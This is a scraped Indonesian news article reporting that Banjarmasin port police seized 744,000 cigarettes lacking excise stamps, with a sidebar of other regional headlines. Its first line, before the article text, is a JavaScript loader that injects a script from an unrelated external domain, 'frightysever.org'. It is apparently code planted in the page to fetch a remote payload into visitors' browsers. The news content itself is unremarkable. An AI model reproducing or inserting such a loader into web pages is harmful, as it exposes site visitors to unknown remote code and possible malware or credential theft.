(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

KPL Polresta Banjarmasin Sita 744 Ribu Batang Rokok Tanpa Cukai


BANJARMASIN, Jajaran Polsek Kawasan Pelabuhan Laut atau KPL Polresta Banjarmasin mengamankan 93 kardus rokok merk Merah Delima yang tanpa dilekati pita cukai dengan total jumlah 744.000 batang rokok, Selasa (18/9). Barang tersebut diamankan oleh petugas di parkiran Terminal Kapal Roro Pelabuhan Trisakti, Jalan Barito Hilir, Kecamatan Banjarmasin Barat Kota Banjarmasin.

Pelanggaran yang dilakukan adalah tentang tindak pidana setiap orang yang menawarkan, menyerahkan, menjual atau menyediakan untuk dijual barang yang kena cukai yang tidak dikemas untuk penjualan eceran atau tidak dilekati pita cukai, sebagaimana dimaksud dalam Pasal 54 UU RI NO 39 tahun 2007 tentang Cukai.

Kapolsek KPL Polresta Banjarmasin, Kompol Susilawati, SIK, AH, didampinggi Kanit Reskrim, Iptu Agus Adi Apriyoga, SIK, Rabu (19/9) menjelaskan, Selasa malam anggota Polsek KPL melakukan pengecekan dan pemeriksaan terhadap muatan truk Nopol DA 1014 TO di areal Terminal Roro. Selanjutnya diamankan kotak warna coklat dengan tulisan lilin super sebanyak 93 kardus yang berisi rokok merk Merah Delima tanpa dilekati dengan pita cukai. Barang bukti dibawa ke Polsek KPL Banjarmaain guna proses lebih lanjut.

Sebelumnya, KPL Polresta Banjarmasin juga menyita dan mengamankan ribuan batang rokok yang menggunakan cukai ilegal. Rokok tersebut disita dari salah satu ekspedisi di kawasan Jalan Yos Sudarso RT34, Kecamatan Banjarmasin Barat, Kota Banjarmasin, Selasa (17/7) siang sekitar pukul 12.00 Wita.

Kompol Susilawati dalam konferensi pers menyebutkan jajarannya mengamankan rokok yang diduga menggunakan pita palsu, dari salah satu ekspedisi di kawasan Jalan Yos Sudarso Banjarmasin.

Penyitaan ini berkat adanya informasi adanya pengiriman rokok yang diduga tanpa dilekati dengan pita cukai yang resmi setelah dilakukan pemeriksaan terhadap paketan di gudang salah satu ekspedisi. Ditemukan 14 coly rokok merk L aris Brown yang dikemas dalam karungan warna putih setelah dilakukan pemeriksaan berisi rokok L aris Brown tanpa dilekati dengan bea cukai dengan surat jalan dengan no : 001566.

Dari penyitaan itu, beberapa merek rokok yang disita, seperti 7 coly rokok merk L aris Brown terdiri dari 1 coly berisi 2 karton, 1 karton isi 2 kotak, 1 kotak isi 20 slop, 1 slop berisi 10 bungkus dan 1 bungkus berisi 20 batang dengan total 112.000 batang rokok, 7 coly yang berisi rokok merek L aris Brown terdiri dari 1 coly berisi 3 karton, 1 karton isi 2 kotak, 1 kotak berisi 20 slop, 1 slop berisi 10 bungkus dan 1 bungkus berisi 20 batang dengan total 168.000 batang. (rico)

Reporter : Rico
Editor : Chell

Desy Arfianty

Recent Posts

Kasus Korupsi di Dinsos HST, Kuasa Hukum Berencana Ajukan Praperadilan

KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki asal Kabupaten Hulu Sungai Tengah (HST), MS (28) tersandung kasus… Read More

1 jam ago

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

12 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

14 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

16 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

17 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

17 jam ago

This website uses cookies.